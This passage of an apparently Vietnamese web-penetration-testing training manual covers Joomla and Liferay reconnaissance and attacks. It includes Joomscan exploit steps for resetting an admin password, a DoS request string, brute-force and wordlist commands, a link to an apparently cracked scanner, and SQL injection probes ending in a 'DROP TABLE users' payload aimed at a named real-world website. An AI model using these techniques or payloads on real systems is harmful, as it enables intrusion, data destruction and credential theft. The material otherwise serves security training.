Check: /administrator/ Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, line 11. Exploit: Backend accepts any password for custom Super Administrator when LDAP enabled Vulnerable? Yes #9 Info -> Core: Path Disclosure Vulnerability Versions effected: Joomla! 1.5.3 <= Check: /?1.5.3-path-disclose Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, line 12. Exploit: Crafted URL can disclose absolute path Vulnerable? Yes # 10 Info -> Core: User redirected Spamming Vulnerability Versions effected: Joomla! 1.5.3 <= Check: /?1.5.3-spam Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, line 13. Exploit: User redirect spam Vulnerable? Yes
# 12 Info -> Core: Admin Backend Cross Site Request Forgery Vulnerability Versions effected: 1.0.13 <= Check: /administrator/ Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, line 15. Exploit: It requires an administrator to be logged in and to be tricked into a specially crafted webpage. Vulnerable? Yes # 13 Info -> CorePlugin: Xstandard Editor X_CMS_LIBRARY_PATH Local Directory Traversal Vulnerability Versions effected: Joomla! 1.5.8 <= Check: /plugins/editors/xstandard/attachmentlibrary.php Exploit: Submit new header X_CMS_LIBRARY_PATH with value ../ to /plugins/editors/xstandard/attachmentlibrary.php Vulnerable? Yes # 14 Info -> CoreLibrary: phpmailer Remote Code Execution Vulnerability Versions effected: Joomla! 1.5.0 Beta/Stable Check: /libraries/phpmailer/phpmailer.php Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, line 21. Exploit: N/A Vulnerable? Yes # 15 Info -> CoreComponent: Joomla Remote Admin Password Change Vulnerability 47
Versions Affected: 1.5.5 <= Check: /components/com_user/controller.php Exploit: 1. Go to url : target.com/index.php?option=com_user&view=reset&layout=confirm 2. Write into field "token" char ' and Click OK. 3. Write new password for admin 4. Go to url : target.com/administrator/ 5. Login admin with new password Vulnerable? Yes
# 21 Info -> CoreComponent: com_content XSS Vulnerability Version Affected: Joomla! 1.5.7 <= Check: /components/com_content/ Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, line 30. Exploit: The defaults on com_content article submission allow entry of dangerous HTML tags (script, etc). This only affects users with access level Author or higher, and only if you have not set filtering options in com_content configuration. Vulnerable? Yes # 22 Info -> CoreComponent: com_weblinks XSS Vulnerability Version Affected: Joomla! 1.5.7 <= Check: /components/com_weblinks/ Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, line 31. Exploit: [Requires valid user account] com_weblinks allows raw HTML into the title and description tags for weblink submissions (from both the administrator and site submission forms). Vulnerable? Yes # 23 Info -> CoreComponent: com_mailto Email Spam Vulnerability Version Affected: Joomla! 1.5.6 <= Check: /components/com_mailto/ Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, line 32. Exploit: The mailto component does not verify validity of the URL prior to sending. Vulnerable? Yes
# 25 Info -> CoreComponent: com_content XSS Vulnerability Version Affected: Joomla! 1.5.9 <= Check: /components/com_content/ Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, line 34. Exploit: A XSS vulnerability exists in the category view of com_content. Vulnerable? Yes # 26 Info -> CoreComponent: com_installer CSRF Vulnerability Versions effected: Joomla! 1.5.0 Beta Check: /administrator/components/com_installer/ Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, line 36. 48
Exploit: N/A Vulnerable? Yes
# 28 Info -> CoreComponent: com_poll (mosmsg) Memory Consumption DOS Vulnerability Versions effected: 1.0.7 <= Check: /components/com_poll/ Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, line 38. Exploit: Send request /index.php?option=com_poll&task=results&id=14&mosmsg=DOS@HERE<<>AA A<><> Vulnerable? Yes
# 30 Info -> CoreComponent: com_mailto timeout Vulnerability Versions effected: 1.5.13 <= Check: /components/com_mailto/ Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, line 40. Exploit: [Requires a valid user account] In com_mailto, it was possible to bypass timeout protection against sending automated emails. Vulnerable? Yes There are 21 vulnerable points in 34 found entries! ~[*] Time Taken: 32 sec ~[*] Send bugs, suggestions, contributions to [email protected]
o o
o
Version hiện tại của target là 1.5.0, ch ạy apache 2.4.6, PHP 5.4.16 Các vulnerable Yes là những vulnerable có kh ả năng bị khai thác, tấn công bởi hacker. Admin page: http://1.2.3.3//administrator/
49
-
c. Wappalyzer Là 1 tiện ích mở r ộng có sẳn trên Firefox và Chrome, giúp chúng ta khám phá kĩ thuật mà website s ử dụng. Nó giúp chúng ta d ễ dàng phát hi ện CSM, Web shop, Web Server, JS frameworks, các tool phân tích, etc. Như là 1 bộ phát hiện CMS, nó khá hữu dụng và có tỉ lệ phân tích thành công cao hơn các tool khác.
3. Sử dụng Acunetix, ZAP và các công cụ scan web khác. a. Acunetix WVS: i. K hái ni ệm: -
-
-
Acunetix WVS là phần mềm quét lỗ hổng website hiệu quả nhất, nó kiểm tra tất cả các lỗ hổng website bao g ồm cả SQL Injection, Cross Site Scripting và quét nhi ều nhiều lỗ hổng website khác. Acunetix WVS có một bộ engine phát hiện lỗ hổng website hàng đầ u kèm theo là Acunetix AcuSensor th ực hiện các cuộc tấn công tự động và hiển thị các lỗ hổng được tìm thấy. Đây là một công nghệ bảo mật duy nhất có thể nhanh chóng tìm thấy lỗ hổng với số lượng cảnh báo giả r ất thấp, cho thấy lỗ hổng trong mã và báo cáo thông tin gỡ lỗi. Đồng thời xác định các lỗ hổng website như CRLF, Code execution, Directory Traversal, File inclusion, l ỗ hổng trong xác thực và các lỗ hổng khác. Có thể download: http://www.mediafire.com/file/bb1xcrq61sc962l/Acunetix+v8.0_full_CLEAN+100+%2 5+VERSION_free-4-free.blogspot.com.rar
ii. S ử d ụn g A cunetix W eb Vulnerability S canner: -
Mở AWVS scan website: http://1.2.3.6/jl25/
50
-
Chọn File -> New -> Web Site Scan
-
Website URL: http:1.2.3.6/jl25 -> Next
51
-
Chọn Next
-
Chọn Next
52
-
Chọn Next
-
Chọn Finish
-
Chờ đợi quá trình Scan hoàn t ất Note: trong quá trình Scan có thể mất vài tiếng hoặc cả 1 ngày để hoàn tất.
53
b. ZAP i. K hái ni ệm: -
-
-
Zed Attack Proxy (ZAP) là công cụ tích hợp của tập hợp nhiều công cụ pentest có chức năng khác nhau. ZAP cho phép ngườ i sử dụng có thể thực hiện nhiều tác vụ nhằm dò tìm điểm yếu trên ứng dụng web. Những tiện ích nổi bật của ZAP Intercepting Proxy : Bản chất ZAP là một proxy chặn giữa người dùng và ứng o dụng web Automated scanner o Passive scanner o Brute Force scanner : Cho phép tìm cây thư mục,tính năng này là sự tích hợp o của công cụ Dir Buster mà mình đã giới thiệu trước đó. Spider : Tìm kiếm các url trong website o Fuzzer : Tích hợp tiện ích JbroFuz. o Port scanner o Dynamic SSL certificates : tự tạo một cert root CA,thực hiện MiTM để decrypt o các traffic mã hóa b ởi SSL. Report: cung cấp output ra report d ạng HTML và XML o Download ZAP: https://github.com/zaproxy/zaproxy/wiki/Downloads Sau khi cài đặt xong ZAP,việc đầu tiên các bạn cần cấu hình để proxy trên các trình duyệt về địa chỉ 127.0.0.1 port 8080, việc này có tác d ụng điều hướng các traffic đi qua ZAP. Giao diện của ZAP
ii. Demo: -
Chỉ nh proxy trên trình duyệt về 127.0.0.1 port 8080 để hướng traffic đi qua ZAP, trên Chrome chọn Cài đặt -> Cài đặt -> Kéo xuống:
54
-
Mở cài đặt proxy
-
Chọn LAN settings
-
Bỏ tích mục Automatically detect settings
Tích vào Use a proxy server for your LAN (…)
-
Address: 127.0.0.1 Port: 8080 o Nhấn Ok o
55
-
Giao diện của ZAP Vào trình duyệt gõ http://1.2.3.6/jl25 và tr ở lại ZAP
Dùng trình duyệt view qua website mà b ạn định pentest,tính năng Automated scanner sẽ tự động quét website và đưa ra các thông tin cầ n thiết ví dụ như các alert
56
-
Tiếp đến,để thực hiện các tính năng khác như brute force thư mục,các bạn click chuột phải vào site,chọn Attack > Spider
-
Starting point: nhập IP server -> Start Scan
-
ZAP scan và search ra tất cả các thư mục và file tồn tại trên host này Tab message: Get và Post tr ả về 200 chứng tỏ thư mục vẫn tồn tại, ví dụ vào trình duyệt gõ: o http://1.2.3.6//administrator như ZAP trả về
o
GET tr ả về 404 tức là file ho ặc thư mục không tồn tại
57
-
Còn nhiều chức năng khác mà ZAP hỗ tr ợ như:
c. Các công cụ scan web khác: i. Wireshark
-
Nhiệm vụ chính của Wireshark là phân tích gói tin, nó cho phép bạn có thể giám sát được toàn bộ lưu lượng mạng bằng cách đưa giao diệ n vào chế độ promiscuouus. Ngoài ra, bạn có thể xem các điểm cuối – endpoints, cửa sổ thống kê phân cấp giao thức Thân thiện với người dùng, cộng đồng whireshark lớn và các hệ điều hành đều có thể dùng được công cụ đánh giá an ninh mạ ng Wireshark này.
ii. S QL map -
công cụ đánh giá, kiể m tra lỗ hổng trong cơ sở dữ liệu SQL – SQLmap. Đây là là một công cụ miễn phí và là mã ngu ồn mở được sử dụng chủ yếu để phát hiện và khai thác các v ấn đề SQL injection trong ứng dụng. Đặc biệt giới hacker r ất thích dùng SQLmap
iii. Metas ploit Fr amework
58
-
-
-
-
Một trong những công cụ các hacker chuyên dùng để tấn công và kiểm tra độ an toàn và sự bảo mật của hệ thống chính là Metasploit. Thực chất Metasploit là taapj hợp r ất nhiều chương trình dùng để thực hiện cho việc tấn công, kiểm tra sự bảo mật giống như 1 Framework, nó đượ c phát triển bởi Rapid7
iv. B urp S uite Burp Suite là một nền tảng tích hợp, là một công cụ kiểm tra lỗ hổng bảo mật ứng dụng website. Nó có nhiều công cụ tích hợp trong đó hai công cụ chính trong phiên bản miễn phí là Spider and Intruder. Spider đượ c sử dụng để thu thập thông tin các trang của ứng dụng và Intruder được sử dụng để thực hiện các cuộc tấn công tự động trên ứng dụng web. Burp có m ột công cụ bổ sung hiện nay được gọi là Burp Scanner được dùng trong việc quét các lỗ hổng có trong ứng dụng v. Nessus Nessus là một công cụ được các nhà quản tr ị hệ thống và hacker yêu thích bởi nó có cơ sở dữ liệu lớn về các lỗ hổng bảo mật, được cập nhật liên tục. Có thể nói nó giống như 1 cuố n siêu t ừ điển vậy, đây là công cụ kiểm tra hệ thống xem có bị dính lỗ hổng hay không. vi. Hydra Tương tự như công cụ bẻ khóa mật khẩu John the Ripper. Hydra có th ể thực hiện cuộc tấn công t ừ điển nhanh chóng ch ống lại hơn 50 giao thứ c, bao gồm telnet, ftp, http, https, smb, một số cơ sở dữ liệu, và nhiều hơn nữa.
59
Phần 3: CÁC LOẠI TẤN CÔNG TRÊN JOOMLA VÀ LIFERAY -
Mục tiêu: Giơí thiệu, demo và hướ ng dẫn sửa lỗi các lỗi và phương thức tấn công phổ biến, nguy hiểm trên website ch ạy CSM joomla, Liferay. Nội dung: Các loại tấn công trên joomla 1.5, 2.5, 3.5 o Joomla version scan Joomla Brute Force Attack Word list (dictionary) Các loại tấn công trên Liferay portal o SQL Injection o Dạng tấn công sử dụng câu lệnh SELECT Dạng tấn công sử dụng câu lệnh INSERT Dạng tấn công sử dụng stored-procedures Blind SQL injection XSS (Cross-Site Scripting) o Reflected XSS Stored XSS DOM-based XSS Joomla Security Plugins: o Centrora Security Securitycheck RSFirewall Htaccess o
.htaccess
Authentication Session manager Token control Redirect admin Sửa lỗi o Cài đặt công cụ bảo mật Modsecuriy o Bài tập: Kiểm tra và rà soát lỗi website đơn vị , Thực hành các bài t ập của từng loại tấn công.
-
60
1. Các loại tấn công trên Joomla a. Joomla version scan Ở phần trước đã có giới thiệu về các tools dùng để scan Joomla g ồm các tools như: CMS Explorer, Joomscan, Wappalyzer, chún g ta sẽ sử dụng Joomscan để scan 1 trang Joomla b ất kì. Mở Kali và tiến hành scan target: 1.2.3.3 o Joomscan –u 1.2.3.3 Kết quả: o Targ et: http://1.2.3.3 S erv er: A pache/2.4.6 (CentOS ) PHP /5.4.16 X-P owered-B y: PHP /5.4.16 ~Generic version family ....... [1.5.x] ~1.5.x htaccess.txt revealed 1.5.0-stable(21-January-2008) ~1.5.x configuration.php-dist revealed 1.5.0-stable(21-January-2008) ~1.5.x en-GB.xml revealed [1.5.0 - 1.5.1] ~1.5.x en-GB.ini revealed 1.5.0-stable(21-January-2008) ~1.5.x admin en-GB.com_config.ini revealed [1.5.0(stable) -1.5.1] ~1.5.x admin en-GB.ini revealed 1.5.0-stable(21-January-2008) ~1.5.x adminlists.html revealed [1.5.0(stable) - 1.5.6] * The Ex act vers ion found is 1.5.0-stable ## Fingerprinting done. ## 1 Components Found in front page ## com_mailto o o
Version joomla của victim: 1.5.0 Các component: Com_mailto Có 21 lỗ hổng trong quá trình scan
o
Vulnerabilities Discovered ========================== #1 Info -> Generic: htaccess.txt has not been renamed. Versions Affected: Any Check: /htaccess.txt Exploit: Generic defenses implemented in .htaccess are not available, so exploiting is more likely to succeed. Vulnerable? Yes #2 Info -> Generic: Unprotected Administrator directory Versions Affected: Any Check: /administrator/ Exploit: The default /administrator directory is detected. Attackers can bruteforce administrator accounts. Read: http://yehg.net/lab/pr0js/view.php/MULTIPLE%20TRICKY%20WAYS %20TO%20PROTECT.pdf Vulnerable? Yes
61
#3 Info -> Core: Multiple XSS/CSRF Vulnerability Versions Affected: 1.5.9 <= Check: /?1.5.9-x Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, line 4. Exploit: A series of XSS and CSRF faults exist in the administrator application. Affected administrator components include com_admin, com_media, com_search. Both com_admin and com_search contain XSS vulnerabilities, and com_media contains 2 CSRF vulnerabilities. Vulnerable? Yes #4 Info -> Core: JSession SSL Session Disclosure Vulnerability Versions effected: Joomla! 1.5.8 <= Check: /?1.5.8-x Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, line 5. Exploit: When running a site under SSL (the entire site is forced to be under ssl), Joomla! does not set the SSL flag on the cookie. This can allow someone monitoring the network to find the cookie related to the session. Vulnerable? Yes #5 Info -> Core: Frontend XSS Vulnerability Versions effected: 1.5.10 <= Check: /?1.5.10-x Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, line 6. Exploit: Some values were output from the database without being properly escaped. Most strings in question were sourced from the administrator panel. Malicious normal admin can leverage it to gain access to super admin. Vulnerable? Yes #6 Info -> Core: Frontend XSS - HTTP_REFERER not properly filtered Vulnerability Versions effected: 1.5.11 <= Check: /?1.5.11-x-http_ref Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, line 9. Exploit: An attacker can inject JavaScript or DHTML code that will be executed in the context of targeted user browser, allowing the attacker to steal cookies. HTTP_REFERER variable is not properly parsed. Vulnerable? Yes #7 Info -> Core: Frontend XSS - PHP_SELF not properly filtered Vulnerability 62
Versions effected: 1.5.11 <= Check: /?1.5.11-x-php-s3lf Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, line 10. Exploit: An attacker can inject JavaScript code in a URL that will be executed in the context of targeted user browser. Vulnerable? Yes #8 Info -> Core: Authentication Bypass Vulnerability Versions effected: Joomla! 1.5.3 <= Check: /administrator/ Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, line 11. Exploit: Backend accepts any password for custom Super Administrator when LDAP enabled Vulnerable? Yes #9 Info -> Core: Path Disclosure Vulnerability Versions effected: Joomla! 1.5.3 <= Check: /?1.5.3-path-disclose Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, line 12. Exploit: Crafted URL can disclose absolute path Vulnerable? Yes # 10 Info -> Core: User redirected Spamming Vulnerability Versions effected: Joomla! 1.5.3 <= Check: /?1.5.3-spam Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, line 13. Exploit: User redirect spam Vulnerable? Yes # 12 Info -> Core: Admin Backend Cross Site Request Forgery Vulnerability Versions effected: 1.0.13 <= Check: /administrator/ Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, line 15. Exploit: It requires an administrator to be logged in and to be tricked into a specially crafted webpage. Vulnerable? Yes # 13 Info -> CorePlugin: Xstandard Editor X_CMS_LIBRARY_PATH Local Directory Traversal Vulnerability Versions effected: Joomla! 1.5.8 <= Check: /plugins/editors/xstandard/attachmentlibrary.php 63
Exploit: Submit new header X_CMS_LIBRARY_PATH with value ../ to /plugins/editors/xstandard/attachmentlibrary.php Vulnerable? Yes # 14 Info -> CoreLibrary: phpmailer Remote Code Execution Vulnerability Versions effected: Joomla! 1.5.0 Beta/Stable Check: /libraries/phpmailer/phpmailer.php Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, line 21. Exploit: N/A Vulnerable? Yes # 15 Info -> CoreComponent: Joomla Remote Admin Password Change Vulnerability Versions Affected: 1.5.5 <= Check: /components/com_user/controller.php Exploit: 1. Go to url : target.com/index.php?option=com_user&view=reset&layout=confirm 2. Write into field "token" char ' and Click OK. 3. Write new password for admin 4. Go to url : target.com/administrator/ 5. Login admin with new password Vulnerable? Yes # 21 Info -> CoreComponent: com_content XSS Vulnerability Version Affected: Joomla! 1.5.7 <= Check: /components/com_content/ Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, line 30. Exploit: The defaults on com_content article submission allow entry of dangerous HTML tags (script, etc). This only affects users with access level Author or higher, and only if you have not set filtering options in com_content configuration. Vulnerable? Yes # 22 Info -> CoreComponent: com_weblinks XSS Vulnerability Version Affected: Joomla! 1.5.7 <= Check: /components/com_weblinks/ Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, line 31. Exploit: [Requires valid user account] com_weblinks allows raw HTML into the title and description tags for weblink submissions (from both the administrator and site submission forms). Vulnerable? Yes # 23 Info -> CoreComponent: com_mailto Email Spam Vulnerability Version Affected: Joomla! 1.5.6 <= 64
Check: /components/com_mailto/ Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, line 32. Exploit: The mailto component does not verify validity of the URL prior to sending. Vulnerable? Yes # 25 Info -> CoreComponent: com_content XSS Vulnerability Version Affected: Joomla! 1.5.9 <= Check: /components/com_content/ Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, line 34. Exploit: A XSS vulnerability exists in the category view of com_content. Vulnerable? Yes # 26 Info -> CoreComponent: com_installer CSRF Vulnerability Versions effected: Joomla! 1.5.0 Beta Check: /administrator/components/com_installer/ Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, line 36. Exploit: N/A Vulnerable? Yes # 28 Info -> CoreComponent: com_poll (mosmsg) Memory Consumption DOS Vulnerability Versions effected: 1.0.7 <= Check: /components/com_poll/ Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, line 38. Exploit: Send request /index.php?option=com_poll&task=results&id=14&mosmsg=DOS@H ERE<<>AAA<><> Vulnerable? Yes # 30 Info -> CoreComponent: com_mailto timeout Vulnerability Versions effected: 1.5.13 <= Check: /components/com_mailto/ Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, line 40. Exploit: [Requires a valid user account] In com_mailto, it was possible to bypass timeout protection against sending automated emails. Vulnerable? Yes o
Các lỗ hổng chính trong quá trình sca n được liệt kê phía trên.
65
-
Ngoài ra chúng ta có th ể sử dụng công cụ metasploit được tích hợp sẳn trong kali để scan joomla version. o Metasploit framework là một framework mã nguồn mở phát triển nhằm sử dụng các shellcode (payload) để tấn công máy có lỗ hổng.Cùng với một số bộ công cụ bảo mật khác,Metasploit có cơ sở dữ liệu chứa hàng ngàn shellcode ,hàng ngàn exploit c ủa các hệ điều hành,các chương trình hay dịch vụ.Trong quá trình phát tri ển metasploit liên t ục cập nhật các Exploit...Nên càng ngày nó càng tr ở thành một bộ công cụ mạnh mẽ. Mở metasploit và tiến hành sử dụng payload scan joomla v ới target: o 1.2.3.3 Msfconsole msf > use auxiliary/scanner/http/joomla_version msf auxiliary(scanner/http/joomla_version) > set RHOSTS 1.2.3.3/24 msf auxiliary(scanner/http/joomla_version) > set threads 200 msf auxiliary(scanner/http/joomla_version) > show options Module options (auxiliary/scanner/http/joomla_version):
Name Current Setting Required Description ------------------ -------- ----------Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS 1.2.3.3/24 yes The target address range or CIDR identifier RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI / yes The base path to the Joomla application THREADS 200 yes The number of concurrent threads VHOST no HTTP server virtual host
msf auxiliary(scanner/http/joomla_version) > run Kết quả:
Server: Apache/2.4.6 => linux PHP: version 5.4.16 Joomla version: 1.5.0
66
b. Joomla bruteforce attack -
-
Sau quá trình scan version của joomla victim ta đã biết được version hi ện tại mà victim đang sử dụng, đồng thời tìm ra các component t ồn tại các lỗ hổng, khiến cho attacker có th ể xâm nhập vào cũng như tiế n hành các cu ộc tấn công, một trong số đó là kiểu tấn công bruteforce Bắt đầu khai thác victim: 1.2.3.3 o
Tiến hành khai thác account admin b ằng công cụ BJ-oomla Link download: https://sites.google.com/site/thezonesec/S3K4Team_BJ-oomla_v1.00.tar.gz?attredirects=0&d=1 Tool này dùng để bruteforce admin page ở joomla từ 1.5 tr ở xuống Giải nén và đưa ra ngoài Desktop, mở terminal và chạy command: Python BJ-oomla.py –h http://1.2.3.3/administrator/index.php -U username.txt -P password.txt
Trong đó: o –h : chỉ ra đường dẫn trang login admin page o –U : file chứa danh sách các username –u : username o o –P : file chứa danh sách các password o –p : password -v verbose -s signal - default:"Administration Login" o Ta được kết quả: Username: admin o Password: admin o Tiến hành đăng nhậ p vào admin page o
68
Đăng nhập thành công
c. Wordlist (dictionary) -
-
-
Dictionary attack là một kĩ thuật giúp máy tính có thể bẻ khóa được các cơ chế mã hóa hoặc cơ chế xác thực hoặc mật khẩu (password). Về cơ bản, Dictionary attack cũng gần giống với kĩ thuật Brute Force tuy nhiên điề u khác nhau ở đây là Dictionary attack dựa trên dictionary (hay còn đượ c gọi là wordlist) ch ứ ko vét cạn như Brute Force. Wordlist trên thực tế là một tệp gồm r ất nhiều các chuỗi kí tự thuộc nhiều loại giống như mật khẩu hay gặp, từ ngữ phổ biến, tên người,…. Các tools có thể tạo wordlist: o CUPP: CUPP là một script được viết bằng Python, nó giúp chúng ta t ạo ra một wordlist dò mật khẩu sát với thông tin cá nhân c ủa victim nhất, thông tin đầ u vào nhạy cảm mà người dùng hay sử dụng để đặt làm mật khẩu như tên, ngày sinh, nickname, ... Install: Mkdir CUPP Cd CUPP Apt-get update && apt-get install git git clone https://github.com/Mebus/cupp.git Sau khi tải về ta được thư mục cupp/ g ồm các file: o CHANGELOG.md cupp3.py cupp.cfg cupp.py LICENSE README.md test_cupp.py Config file cupp.cfg Nano cupp.cfg Ở đây có rất nhiều cấu hình, nhưng chúng ta chỉ cần tập trung vào một chỗ, đó là sau dòng [leet]. Ở phần này ta s ẽ bổ sung thêm các biến thể ký tự, mỗi biến thể là một dòng nhé, ví d ụ như: A=@ S=$ cấu hình này sẽ giúp cho CUPP t ạo ra wordlist có t ỷ lệ trúng cao hơn. Và còn một chỗ nữa là sau dòng [specialchars], ch ỗ này ta sẽ thêm vào các ký t ự đặc biệt có thể xuất hiện trong mật khẩu.
69
Sau khi chỉ nh sửa xong thì lưu lạ i. Cú pháp: ./cupp.py hoặc python cupp.py Các option: -h: hiển thị nội dung tr ợ giúp
-i: tr ả lời các câu hỏi để tạo 1 wordlist theo thông tin cá nhân
-
Sau khi tr ả lời xong, cupp s ẽ tạo 1 wordlist v ới tên: gino.txt -w: sử dụng wordlist có sẳn -l: tải 1 wordlist t ừ repository
70
-a: Sử dụng thư viện Alecto DB. Đây là thư việ n các username và password đượ c tổng hợp -v: kiểm tra phiên bản của CUPP. Crunch: là một công cụ tuyệt vời cho những ai muốn tấn công Brute Force attack vì nó có thể tạo ra một danh sách mật khẩu từ 5 ký tự đến 25 ký tự chuẩn xác Crunch có giao diện làm việc khá đơn giả n chúng ta ch ỉ cần tập trung vào hai thông s ố cơ bản là và với : : số kí tự tối thiểu : số kí tự tối đa Để có pass list tối ưu hơn tý ta có thể sử dòng lệnh : # crunch -t – o
o
file> với: : kí tự có trong mật khẩu : các kí tự bạn đã biết chắc o : đừng dẫn file được tạo o VD: ví dụ ta sẽ tạo ra một pass list là s ố diện thoại với các điều kiện mình biết được có 6 kí tự o các kí tự cấu tạo nên nó là 0123456789 o số 0 luôn đứng đầ u tiên o Ta sẽ dùng lệnh như sau : # crunch 10 10 012345 -t 0@@@@@ -o list.txt o o
Ta được wordlist có tên list.txt ch ứa password
71
Chứa các password đã được define trướ c. Note: min và max càng cao thì kích thước file wordlist càng lớn nên cân nhắc trước khi tạo.
2. Các loại tấn công trên Liferay Portal Khái niệm: Liferay Portal là gi ải pháp Cổng điện tử được thiết kế phù hợp với các mô hình ứng dụng trong các cơ quan, tổ chức và doanh nghi ệp có nhu cầu phát triển hệ thống thông tin trên môi trườ ng web nhằm thực hiện các giao d ịch tr ực tuyến và sử dụng Intranet/Internet như một công cụ thiết yếu trong các hoạt động, cung cấp thông tin, giao ti ếp, quản lý và điều hành, trao đổ i và cộng tác. Là công cụ cho phép các cơ quan, tổ chức tự định nghĩa và quả n tr ị o “Cổng thông tin/giao tiếp điện tử” của riêng mình, tự quản nội dung thông tin và các dịch vụ trên mạng Intranet/Internet. Cho phép vận hành một quy trình xuất bản thông tin và các ứng dụng o phần mềm trên quan điể m tích hợp chúng vào trong m ột giao diện website duy nh ất. Liferay Portal s ử dụng công ngh ệ mới nhất của Java, J2EE, tích hợp kiến o trúc hướng dịch vụ SOA (Services-Oriented Architecture) và công ngh ệ o
-
Web 2.0. Hỗ tr ợ r ộng rãi các chuẩn công nghiệp và chuẩn mở (SOAP, LDAP,
XML/XSL, SSL, JSR 170, JSR168, WSRP, Webservices, …). Các loại tấn công phổ biến trên Liferay Portal: SQL Injectio, XSS, Malware, Phising, DoS, Session Hijacking,…
72
3. SQL Injection Khái niệm và kiến thức cần biết
3.1.Khái niệm: SQL Injection là m ột trong những kiểu hack web đang dầ n tr ở nên phổ biến hiện nay, theo thống kê thì khoảng 75% hacker s ử dụng kĩ thuật này để chiếm quyền điều khiển của hệ thống. Bằng cách inject các mã SQL query/command vào input trước khi chuyển cho ứng dụng web xử lí, chúng ta có thể login mà không cần username và password, remote execution, dump data và l ấy root của SQL server. Công c ụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như Internet Explorer, Netscape, Lynx, Firefox,… 3.2.Kiến thức cần biết Dấu nháy đơn (‘): dấu này trong ngôn ng ữ SQL dùng để “gói” chuỗi. Ta thường thêm nó vào sau tham s ố kiểu số trên chuỗi truy vấn để kiểm tra có lỗi hay không. Nguyên nhân là do không ki ểm tra kiểu dữ liệu. Dấu thăng (#) và dấ u (): các dấu này để đánh dấu chú thích, nghĩa là nhữ ng kí tự đứng sau một trong hai dấu này trên cùng m ột dòng sẽ được xem là chú thích được bỏ qua khi thực hiện truy vấn. Dấu ( ; ): dùng để kết thúc một truy vấn và tất nhiên sau nó là b ắt đầu một truy vấn khác. Đôi khi ta dùng union để nối hai câu truy vấn Kiến thức database (CSDL) và ngôn ng ữ thiết kế website (PHP, ASP). MsAccess: thường dành cho các website tin t ức quy mô nhỏ, sử dụng ngôn ng ữ ASP để thiết kế. MSSQL: dùng cho website có quy mô lớn, sử dụng ngôn ngữ ASP, ASPX (ASP.Net) để thiết kế. MySQL: tất cả các website có thể dùng, sử dụng ngôn ng ữ PHP để thiết kế (MySQL và PHP là 2 anh em song sinh , chúng luôn đi kèm vớ i nhau ). Oracle: tương tự như MySQL Db2: dùng cho các hệ thông website ngân hàng, các hệ thống này cần chế độ bảo mật r ất cao! 3.3.Các bước thực hiện SQL Injection: - -
Check
Order By (Đếm số cột liên quan trong câu query mà URL c ủa site đó chạ y) Union Select
3.4 Các dạng tấn công: 3.4.1 D ạng t ấn công s ử d ụn g câu lệnh SE LEC T -
-
Để thực hiện được kiểu tấn công này, kẻ tấn công phải có khả năng hiểu và lợi dụng các sơ hở trong các thông báo lỗi từ hệ thống để dò tìm các điểm yếu khởi đầu cho việc tấn công. Chúng ta có tể gặp các website tin tức có các tham số được truyền vào như : index.php?id=21 , index.asp?id=6 ,.. thì chúng ta chỉ cần thêm các kí tự dấu nháy đơn ('), dấu nháy kép ("), phần trăm 27 (%27), 00 phần trăm (00%) vào sau id để kiểm tra nếu nó hiện ra lỗi hoặc không hiện ra 1 cái gì (khác hoàn toàn với lúc ban đầu thì 90% có khả năng khai thác được lỗi này). Ví dụ o
-
http://www.ampak.com.tw/product.php?id=22
là một website bị lỗi SQL Injection thì chúng ta sẽ thử với 73
o
-
hoặc o
-
http://www.ampak.com.tw/product.php?id=22 '
http://www.ampak.com.tw/product.php?id=22'
Đều trả về trang lỗi trong các tình huống thông thường, URL hiển thị nội dung của tin có ID trùng với ID đã chỉ định và hầu như không thấy có lỗi. Tuy nhiên, giống như ví dụ đăng nhập ở trước, đoạn mã này để lộ sơ hở cho một lỗi SQL injection khác. Kẻ tấn công có thể thay thế một ID hợp lệ bằng cách gán ID cho một giá trị khác, và từ đó bắt đầu cho một cuộc tấn công bất hợp pháp, ví dụ như: 0 O R 1=1, vd: o
-
Câu truy vấn SQL lúc này sẽ không trả về trang lỗi mặc dù chúng ta không có sản phẩm nào có ID = 0, vì nó sẽ thực hiện câu lện h: o
-
http://www.ampak.com.tw/product.php?id=0 or 1=1
SELECT * FROM Products WHERE Product_ID=0 or 1=1
Tương tự như trên, kẻ tấn công có thể lợi dụng sơ hở trong câu truy vấn SQL để nhập thêm lệnh tiếp theo: '; DROP TABLE users -- Lúc này, chương trình sẽ chạy câu truy vấn thực hiện việc xóa bảng users. công s ử d ụn g câu lệnh INSE R T 3.4.2 D ạng t ấn
-
